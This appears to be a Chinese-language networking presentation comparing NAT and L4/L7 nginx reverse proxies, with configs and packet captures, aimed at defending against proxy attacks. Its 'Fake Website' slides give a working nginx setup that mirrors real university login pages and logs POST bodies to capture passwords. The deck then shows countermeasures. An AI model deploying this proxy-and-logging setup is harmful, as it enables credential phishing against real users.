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Dst NAT/Port Mapping

運作原理比較
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比較表
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L7 Reverse Proxy

HTTP

http://demo1.buda.idv.tw/icons/ubuntu-logo.png

 支援

 Virtual Server: Domain Name

 Content Cache

 /etc/nginx/sites-enabled/default

server {

listen 80;

server_name demo1.buda.idv.tw;

location / {

proxy_pass http://172.16.0.7;

}

}
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demo1.buda.idv.tw

http://demo1.buda.idv.tw/icons/ubuntu-logo.png


L7 Reverse Proxy

HTTP
 2 TCP Sessions: 兩個獨立 Session,無關連.

 L7_HTTP_LoadBalance_1_WAN.pcap:尚未 FIN 結束

 L7_HTTP_LoadBalance_2_LAN.pcap: FIN 結束
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L7 Reverse Proxy

Identify technologies on websites

 Original Web Server/OS Hiding
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區網弱掃報告

更改架構前 更改架構後
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區網弱掃報告

Medium
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L4 Reverse Proxy

TCP Port 8080 (HTTP)

http://140.112.237.5:8080/icons/ubuntu-logo.png

 不支援

 Virtual Server: Domain Name

 Content Cache

 /etc/nginx/nginx.conf

stream {

server {

listen 8080;    

proxy_pass 172.16.0.7:80;

}

}
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L4 Reverse Proxy

TCP Port 8080 (HTTP)
 2 TCP Sessions：Payload 1對1 對映、但 TTL、Length 都不相同

 L4_HTTP_LoadBalance_1_WAN.pcap

 L4_HTTP_LoadBalance_2_LAN.pcap
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L4 Reverse Proxy

Identify technologies on websites

 Without Original Web Server/OS Hiding
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Pfsense WAN Port:

tcpdump -i em0 -w DNAT_1_WAN.pcap

Pfsense LAN Port:

tcpdump -i em1 -w DNAT_2_LAN.pcap
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Destination NAT/Port Mapping

http://140.112.3.82:8080/icons/ubuntu-logo.png

pfsense設定畫面:

Destination NAT:  改變封包 Dst IP/Ports
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140.112.3.82:8080  172.16.0.1 172.16.0.7:80

Only 1 TCP Session
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Dst Port MapHTTP

http://140.112.3.82:8080/icons/ubuntu-logo.png


Destination NAT/Port Mapping

 1 TCP Session: 僅變更 Dst IP/Port

 DNAT_HTTP_1_WAN.pcap

 DNAT_HTTP_2_LAN.pcap
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Destination NAT/Port Mapping

Identify technologies on websites

 Without Original Web Server/OS Hiding
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補充: SOURCE NAT
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Source NAT

telnet 120.96.0.222 3389
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140.112.3.82  172.16.0.1 172.16.0.17

Only 1 TCP Session

120.96.0.222:3389

Src Port Map

Source NAT:  改變封包 Src IP/Ports



Source NAT

 1 TCP Session: 僅變更 Src IP/Port

 SNAT_RDP_1_LAN.pcap

 SNAT_RDP_2_WAN.pcap
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Source NAT vs. Destination NAT
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功能 Packet Change

Src NAT Intranet Client (Private IP) 內對外
連線 Internet Server(Public IP)

Src IP/Port

Dst NAT Internet Client(Public IP) 外對內
連線 Intranet Server(Private IP)

Dst IP/Port



補充1: L4 Reverse Proxy
Payload 1對 1 對映

(不包含 TCP Flag 封包)
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L4 Reverse Proxy

TCP Port 22 (SSH)

2 TCP Sessions： Payload 1對 1 對映
 /etc/nginx/nginx.conf

stream {

server {

listen 8022;

proxy_pass 172.16.0.7:22;

}

}
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L4 Reverse Proxy

TCP Port 22 (SSH)

 SSH to 140.112.237.5:8022

 SSH Login

 Wireshark 

 預設無法辨識 Port: 8022
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L4_SSH_LoadBalance_1_WAN.pcap

L4_SSH_LoadBalance_2_LAN.pcap

非每個 Payload 皆回應 ACK

每個 Payload 皆回應 ACK

Windows

Ubuntu



補充2: L7 Reverse Proxy
2 TCP Sessions Payload 不同
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L7 Reverse Proxy

HTTP

http://demo1.buda.idv.tw/icons/ubuntu-logo.png
 /etc/nginx/sites-enabled/default

server {

listen 80;

server_name demo1.buda.idv.tw;

proxy_set_header X-Real-IP $remote_addr;

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

location / {

proxy_pass http://172.16.0.7;

}

}
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L7_HTTP_LoadBalance2_1_WAN.pcap
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L7_HTTP_LoadBalance2_2_LAN.pcap
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Payload 不同, 多了兩個參數



補充3: L7 Reverse Proxy

HTTPs加密
2 TCP Sessions 允許不同 Protocol

末端 Server 為 Internet Web Site
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L7 Reverse Proxy

HTTP(s)

 /etc/nginx/sites-enabled/default

server {

listen 80;

server_name demo2.buda.idv.tw;

location / {

proxy_pass https://netadm.cc.ntu.edu.tw;

}

}
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L7_HTTPS_LoadBalance_1_WAN.pcap

L7_HTTPS_LoadBalance_2_WAN.pcap

封包無加密



L7 Reverse Proxy

HTTP(s)

 限校內 IP: use HTTPs

 https://netadm.cc.ntu.edu.tw/ip/

query.php

 不限校內 IP: use HTTP

 http://demo2.buda.idv.tw/ip/quer

y.php
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https://netadm.cc.ntu.edu.tw/ip/query.php
http://demo2.buda.idv.tw/ip/query.php


補充3: L4 Reverse Proxy

HTTPs加密
2 TCP Sessions 需相同 Protocol

末端 Server 為 Internet Web Site
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L4 Reverse Proxy

TCP Port 8443 (HTTPs)

Demo1:

http://140.112.237.5:8443/

Demo2:

https://140.112.237.5:8443/

 /etc/nginx/nginx.conf

stream {

server {

listen 8443;    

proxy_pass www.tp1rc.edu.tw:443;

}
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140.112.237.5:8443 www.tp1rc.edu.tw:443

Reverse Proxy

HTTP(S)

TCP Session1

HTTP(S)

TCP Session2

120.96.0.222

臺北區網 I 

網站

http://140.112.237.5:8443/
https://140.112.237.5:8443/


L4 Reverse Proxy

Demo1

 http://140.112.237.5:8443/

 錯誤:

 失敗原因

 等同 http://www.tp1rc.edu.tw:443/

 使用 http 連線 https Service
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http://140.112.237.5:8443/
http://www.tp1rc.edu.tw:443/


L4 Reverse Proxy

Demo1
 L4_443_LoadBalance_1_WAN.pcap

 L4_443_LoadBalance_2_WAN.pcap
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L4 Reverse Proxy

Demo2

 https://140.112.237.5:8443/  成功連線，但顯示憑證無效。
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https://140.112.237.5:8443/


Reverse Proxy =? Fake Website
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L7 Reverse Proxy

Fake Website

 /etc/nginx/sites-enabled/default

server {

listen 80;

listen 443 ssl;

server_name demo5.buda.idv.tw;

ssl_certificate /etc/letsencrypt/live/demo5.buda.idv.tw/fullchain.pem;

ssl_certificate_key /etc/letsencrypt/live/demo5.buda.idv.tw/privkey.pem;

location / {

proxy_pass https://www.ntu.edu.tw;

#proxy_pass http://www.ntu.edu.tw;

#proxy_pass https://mail.ntu.edu.tw;

#proxy_pass https://wmail1.cc.ntu.edu.tw;

#proxy_pass https://www.tp1rc.edu.tw;

} }
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Reverse Proxy

HTTPs

TCP Session1

HTTPs

TCP Session2

demo5.buda.idv.tw

開啟 Log 記錄 request_body:

 /etc/nginx/nginx.conf

http {

log_format post_logs '$request_body';

access_log /var/log/nginx/post.log post_logs;

}



Fake Website

台大首頁
 原始: https://www.ntu.edu.tw

 Fake: https://demo5.buda.idv.tw or http://demo5.buda.idv.tw

 proxy_pass http://www.ntu.edu.tw;
 Not working. 因為會 redirect to https://www.ntu.edu.tw
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https://www.ntu.edu.tw/


Fake Website

NTU Mail
 原始: https://mail.ntu.edu.tw

 Fake: https://demo5.buda.idv.tw/

 Login 帳密側錄: cat post.log | grep davisyou
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可正常登入及使用

https://mail.ntu.edu.tw/
https://demo5.buda.idv.tw/


Fake Website

NTU Mail

 無法使用 http:// 登入

 http://demo5.buda.idv.tw

 原因不明，待釐清
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http://demo5.buda.idv.tw/


Fake Website

NTU Webmail (新版)
 原始: https://wmail1.cc.ntu.edu.tw/rc/index.php

 Fake: https://demo5.buda.idv.tw/rc/index.php

 Login 帳密側錄:  username and passwords logged when they login.
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https://wmail1.cc.ntu.edu.tw/rc/index.php
https://demo5.buda.idv.tw/rc/index.php


Fake Website

NTU Webmail (舊版)
 原始: https://wmail1.cc.ntu.edu.tw/imp/login.php

 Fake: https://demo5.buda.idv.tw/imp/login.php

 Login 帳密側錄: 失敗
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https://wmail1.cc.ntu.edu.tw/imp/login.php
https://demo5.buda.idv.tw/imp/login.php


Protect Website from Reverse Proxy

 失敗原因分析: F12
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Protect Website from Reverse Proxy

 失敗原因分析: Absolute URLs
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Protect Website from Reverse Proxy

 Use Absolute URLs instead of Relative URLs.

 JavaScript

 Check document.location.href against your domain

 Ref. https://stackoverflow.com/questions/3899292/how-to-protect-a-web-

server-from-a-reverse-proxy-server

 After Submit, Check “Request Header Referrer”

 If not from Original Domain, Redirect 302 it.
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Protect Website from Reverse Proxy

 臺大區網 -> 會員專區
 https://www.tp1rc.edu.tw/https/data_sys/login.php

 Fake: https://demo5.buda.idv.tw/https/data_sys/login.php

 Login 帳密側錄:

 ~# tail /var/log/nginx/post.log
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https://www.tp1rc.edu.tw/https/data_sys/login.php
https://demo5.buda.idv.tw/https/data_sys/login.php


Protect Website from Reverse Proxy

 臺大區網 -> 會員專區: 現況
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方法1: Absolute URLs

 https://demo5.buda.idv.tw/https/data_sys/login2.php
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https://demo5.buda.idv.tw/https/data_sys/login2.php


方法2: Check document.location.href

 Demo

 https://demo5.buda.idv.tw/https/data_sys/login3.php

 立刻 redirect to

 https://www.tp1rc.edu.tw/https/data_sys/login3.php

 程式碼
<script Language="JavaScript">

if (document.location.href.indexOf("www.tp1rc.edu.tw") == -1){

window.location = 'https://www.tp1rc.edu.tw/https/data_sys/login3.php';

} 

</script>

※Client Side Script 可能被中介程式 Disable

50



方法3

After Submit, Check “Request Header Referrer”

 正常: https://www.tp1rc.edu.tw/https/data_sys/login4.php

 異常: https://demo5.buda.idv.tw/https/data_sys/login4.php
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https://www.tp1rc.edu.tw/https/data_sys/login4.php
https://demo5.buda.idv.tw/https/data_sys/login4.php


方法3

do_login4.php
<?php

if ( strpos($_SERVER['HTTP_REFERER'],'www.tp1rc.edu.tw') == false ) {

header("Location: https://www.tp1rc.edu.tw/https/data_sys/login4.php");

exit;

}

?>
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How to detect Reverse Proxy?

 Wappalyzer服務偵測
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How to detect Reverse Proxy?

 Wappalyzer服務偵測
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How to detect Reverse Proxy?

 無具體方法，可當學術研究題目.

 https://www.acunetix.com/vulnerabilities/web/reverse-proxy-

detected/

 https://portswigger.net/bappstore/a112997070354d249b64b4cf

68eabc04

 https://www.tenable.com/plugins/nessus/12225
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簡報完畢
謝謝
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